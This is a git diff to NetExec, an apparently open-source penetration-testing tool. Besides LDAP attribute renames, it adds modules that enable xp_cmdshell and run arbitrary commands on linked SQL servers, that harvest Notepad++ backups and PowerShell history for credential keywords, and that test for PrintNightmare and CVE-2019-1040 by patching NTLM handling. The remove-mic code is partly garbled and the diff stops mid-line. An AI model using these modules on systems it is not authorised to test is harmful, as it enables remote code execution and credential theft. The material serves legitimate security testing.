diff --git a/nxc/connection.py b/nxc/connection.py index 8df5cb95..e2114a7d 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -384,7 +384,7 @@ class connection: if isfile(user): with open(user) as user_file: for line in user_file: - if "\\" in line: + if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 6946a9b0..c13c4e56 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -49,10 +49,10 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, @@ -61,7 +61,7 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) else: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index efec5532..0bdff145 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -274,8 +274,8 @@ class NXCModule: self.context = context """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" context.log.highlight("Be careful, this module cannot read the DACLS recursively.") - self.baseDN = connection.ldapConnection._baseDN - self.ldap_session = connection.ldapConnection + self.baseDN = connection.ldap_connection._baseDN + self.ldap_session = connection.ldap_connection # Searching for the principal SID if self.principal_sAMAccountName is not None: diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py new file mode 100644 index 00000000..9dc142c5 --- /dev/null +++ b/nxc/modules/enum_impersonate.py @@ -0,0 +1,46 @@ +class NXCModule: + """ + Enumerate SQL Server users with impersonation rights + Module by deathflamingo + """ + + name = "enum_impersonate" + description = "Enumerate users with impersonation privileges" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + impersonate_users = self.get_impersonate_users() + if impersonate_users: + self.context.log.success("Users with impersonation rights:") + for user in impersonate_users: + self.context.log.display(f" - {user}") + else: + self.context.log.fail("No users with impersonation rights found.") + + def get_impersonate_users(self) -> list: + """ + Fetches a list of users with impersonation rights. + + Returns + ------- + list: List of user names. + """ + query = """ + SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name LIKE 'IMPERSONATE%' + """ + res = self.mssql_conn.sql_query(query) + return [user["name"] for user in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py new file mode 100644 index 00000000..01b97f30 --- /dev/null +++ b/nxc/modules/enum_links.py @@ -0,0 +1,53 @@ +class NXCModule: + """ + Enumerate SQL Server linked servers + Module by deathflamingo, NeffIsBack + """ + + name = "enum_links" + description = "Enumerate linked SQL Servers and their login configurations." + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def options(self, context, module_options): + pass + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + linked_servers = self.get_linked_servers() + if linked_servers: + self.context.log.success("Linked servers found:") + for server in linked_servers: + self.context.log.display(f" - {server}") + else: + self.context.log.fail("No linked servers found.") + + def on_admin_login(self, context, connection): + res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") + srvs = [srv for srv in res if srv["Local Login"] != "NULL"] + if not srvs: + self.context.log.fail("No linked servers found.") + return + self.context.log.success("Linked servers found:") + for srv in srvs: + self.context.log.display(f"Linked server: {srv['Linked Server']}") + self.context.log.display(f" - Local login: {srv['Local Login']}") + self.context.log.display(f" - Remote login: {srv['Remote Login']}") + + def get_linked_servers(self) -> list: + """ + Fetches a list of linked servers. + + Returns + ------- + list: List of linked server names. + """ + query = "EXEC sp_linkedservers;" + res = self.mssql_conn.sql_query(query) + return [server["SRV_NAME"] for server in res] if res else [] diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py new file mode 100644 index 00000000..42302338 --- /dev/null +++ b/nxc/modules/enum_logins.py @@ -0,0 +1,40 @@ +class NXCModule: + """ + Enumerate SQL Server logins + Module by deathflamingo + """ + + name = "enum_logins" + description = "Enumerate SQL Server logins" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + logins = self.get_logins() + if logins: + self.context.log.success("Logins found:") + for login in logins: + self.context.log.display(f" - {login}") + else: + self.context.log.fail("No logins found.") + + def get_logins(self) -> list: + """ + Fetches a list of SQL Server logins. + + Returns + ------- + list: List of login names. + """ + query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" + res = self.mssql_conn.sql_query(query) + return [login["name"] for login in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index fc6ed852..ef43bcb0 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -21,7 +21,7 @@ class NXCModule: attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) trusts = [] context.log.debug(f"Total of records returned {len(resp)}") diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py new file mode 100644 index 00000000..a620101a --- /dev/null +++ b/nxc/modules/exec_on_link.py @@ -0,0 +1,42 @@ +class NXCModule: + """ + Execute commands on linked servers + Module by deathflamingo + """ + + name = "exec_on_link" + description = "Execute commands on a SQL Server linked server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.mssql_conn = None + self.context = None + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + LINKED_SERVER: The name of the linked server to execute the command on. + COMMAND: The command to execute on the linked server. + """ + if "LINKED_SERVER" in module_options: + self.linked_server = module_options["LINKED_SERVER"] + if "COMMAND" in module_options: + self.command = module_options["COMMAND"] + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") + return + + self.execute_on_link() + + def execute_on_link(self): + """Executes the specified command on the linked server.""" + query = f"EXEC ('{self.command}') AT [{self.linked_server}];" + result = self.mssql_conn.sql_query(query) + self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/find-computer.py b/nxc/modules/find-computer.py index dc1838bf..fa5dff4c 100644 --- a/nxc/modules/find-computer.py +++ b/nxc/modules/find-computer.py @@ -39,7 +39,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index 31c76816..17ab95ea 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 4579815d..732acd2c 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -121,7 +121,7 @@ class NXCModule: sfilter = "(DC=*)" try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=search_target, searchFilter=sfilter, attributes=["dnsRecord", "dNSTombstoned", "name"], diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 46e26f9e..fbf88a99 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "unixUserPassword"], sizeLimit=0, diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 182fce30..2888941e 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index 28b81198..f9464ee3 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -68,7 +68,7 @@ class NXCModule: def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: diff --git a/nxc/modules/groupmembership.py b/nxc/modules/groupmembership.py index c8f9d255..ce9000d0 100644 --- a/nxc/modules/groupmembership.py +++ b/nxc/modules/groupmembership.py @@ -37,7 +37,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py new file mode 100644 index 00000000..028170ac --- /dev/null +++ b/nxc/modules/link_enable_xp.py @@ -0,0 +1,63 @@ +class NXCModule: + """ + Enable or disable xp_cmdshell on a linked SQL server + Module by deathflamingo + """ + + name = "link_enable_xp" + description = "Enable or disable xp_cmdshell on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.action = None + self.linked_server = None + + def options(self, context, module_options): + """ + Defines the options for enabling or disabling xp_cmdshell on the linked server. + ACTION Specifies whether to enable or disable: + - enable (default) + - disable + LINKED_SERVER The name of the linked SQL server to target. + """ + self.action = module_options.get("ACTION", "enable") + self.linked_server = module_options.get("LINKED_SERVER") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server: + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") + return + + # Enable or disable xp_cmdshell based on action + if self.action == "enable": + self.enable_xp_cmdshell() + elif self.action == "disable": + self.disable_xp_cmdshell() + else: + self.context.log.fail(f"Unknown action: {self.action}") + + def enable_xp_cmdshell(self): + """Enable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") + out = self.query_and_get_output(query) + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") + out = self.query_and_get_output(query) + self.context.log.display(out) + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + + def disable_xp_cmdshell(self): + """Disable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") + self.query_and_get_output(query) + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py new file mode 100644 index 00000000..1376a143 --- /dev/null +++ b/nxc/modules/link_xpcmd.py @@ -0,0 +1,44 @@ +class NXCModule: + """ + Run xp_cmdshell commands on a linked SQL server + Module by deathflamingo + """ + + name = "link_xpcmd" + description = "Run xp_cmdshell commands on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + Defines the options for running xp_cmdshell commands on a linked server. + LINKED_SERVER The name of the linked SQL server to target. + CMD The command to run via xp_cmdshell. + """ + self.linked_server = module_options.get("LINKED_SERVER") + self.command = module_options.get("CMD") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") + return + + self.run_xp_cmdshell(self.command) + + def run_xp_cmdshell(self, cmd): + """Run the specified command via xp_cmdshell on the linked server.""" + query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" + self.context.log.display(f"Running command on {self.linked_server}: {cmd}") + result = self.query_and_get_output(query) + self.context.log.success(f"Command output:\n{result}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py index 634b7e50..a4dca25a 100644 --- a/nxc/modules/mssql_coerce.py +++ b/nxc/modules/mssql_coerce.py @@ -75,5 +75,5 @@ class NXCModule: result = self.mssql_conn.sql_query(command) self.context.log.debug(f"Executing command: {command}, Command result: {result}") except Exception as e: - self.context.log.error(f"Failed to execute command: {command}, Error: {e}") + self.context.log.fail(f"Failed to execute command: {command}, Error: {e}") self.context.log.display("Commands executed successfully, check the listener for results") diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py new file mode 100644 index 00000000..9450e2bc --- /dev/null +++ b/nxc/modules/notepad++.py @@ -0,0 +1,50 @@ +from io import BytesIO +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH + + +class NXCModule: + # Finds notepad++ unsaved backup files + # Module by @Defte_ + + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + found = 0 + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): + try: + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): + file_path = f"{notepad_backup_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + found += 1 + file_path = f"{notepad_backup_dir}{file.get_longname()}" + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + context.log.highlight(f"C:\\{file_path}") + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + export_path = join(NXC_PATH, "modules", "notepad++") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"Notepad++ backup written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index d09b0081..f1a50430 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5..3e531dc3 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,60 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + if len(keywords): + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index e2ceb4b6..8fe1c460 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): try: - ldap_connection = connection.ldapConnection + ldap_connection = connection.ldap_connection # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 5c7905c4..9bca9941 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,6 +1,6 @@ import sys from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL @@ -39,7 +39,8 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target context.log.info(f"Binding to {stringbinding!r}") @@ -55,7 +56,7 @@ class NXCModule: ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(connection.host) + rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: @@ -101,7 +102,12 @@ class NXCModule: if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True - raise e + context.log.fail(f"Unexpected error: {e}") + except DCERPCException as e: + if rpc_status_codes[e.error_code] == "rpc_s_access_denied": + context.log.info("Not vulnerable :'(") + return False + context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index a9d930d1..973a1f06 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): # Are there even any FGPPs? context.log.success("Attempting to enumerate policies...") - resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") + resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") if len(resp) > 1: context.log.highlight(f"{len(resp) - 1} PSO Objects found!") context.log.highlight("") diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py new file mode 100644 index 00000000..40e43c97 --- /dev/null +++ b/nxc/modules/remove-mic.py @@ -0,0 +1,192 @@ +# Original Author: +# Dirk-jan Mollema (@_dirkjan) +# dlive (@D1iv3) +# +# Refernece: +# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ +# - https://github.com/fox-it/cve-2019-1040-scanner +# - https://github.com/Dliv3/cve-2019-1040-scanner +# +# Modify by: +# XiaoliChan (@Memory_before) + +import calendar +import struct +import time +import random +import string + +from impacket import ntlm +from impacket import nt_errors +from impacket.smbconnection import SessionError + + +class NXCModule: + name = "remove-mic" + description = "Check if host vulnerable to CVE-2019-1040" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """PORT Port to check (defaults to 445)""" + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 + ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 + try: + connection.conn.reconnect() + except SessionError as e: + if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: + context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") + else: + context.log.info("Unexpected Exception while authentication") + else: + context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + +class Modify_Func: + # Slightly modified version of impackets computeResponseNTLMv2 + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + + responseServerVersion = b"\x01" + hiResponseServerVersion = b"\x01" + responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) + + av_pairs = ntlm.AV_PAIRS(serverName) + # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will + # get access denied + # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation + # level + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: + aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] + else: + aTime = struct.pack(" 0: + av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b"\x00" * 2 # Reserved1 2 bytes + temp += b"\x00" * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b"\x00" * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable + + ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) + + ntChallengeResponse = ntProofStr + temp + lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge + sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) + + if user == "" and password == "": + # Special case for anonymous authentication + ntChallengeResponse = "" + lmChallengeResponse = "" + + return ntChallengeResponse, lmChallengeResponse, sessionBaseKey + + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. + if password is None: + password = "" + + # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with + # international characters. + import sys + encoding = sys.getfilesystemencoding() + if encoding is not None: + try: + user.encode("utf-16le") + except Exception: + user = user.decode(encoding) + try: + password.encode("utf-16le") + except Exception: + password = password.decode(encoding) + try: + domain.encode("utf-16le") + except Exception: + domain = user.decode(encoding) + + ntlmChallenge = ntlm.NTLMAuthChallenge(type2) + + # Let's start with the original flags sent in the type1 message + responseFlags = type1["flags"] + + # Token received and parsed. Depending on the authentication + # method we will create a valid ChallengeResponse + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) + + clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) + + serverName = ntlmChallenge["TargetInfoFields"] + + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], + clientChallenge, serverName, domain, user, password, + lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) + + # Let's check the return flags + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + # No extended session security, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: + # No support for 128 key len, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + # No key exchange supported, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + + # drop the mic need to unset these flags + # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == 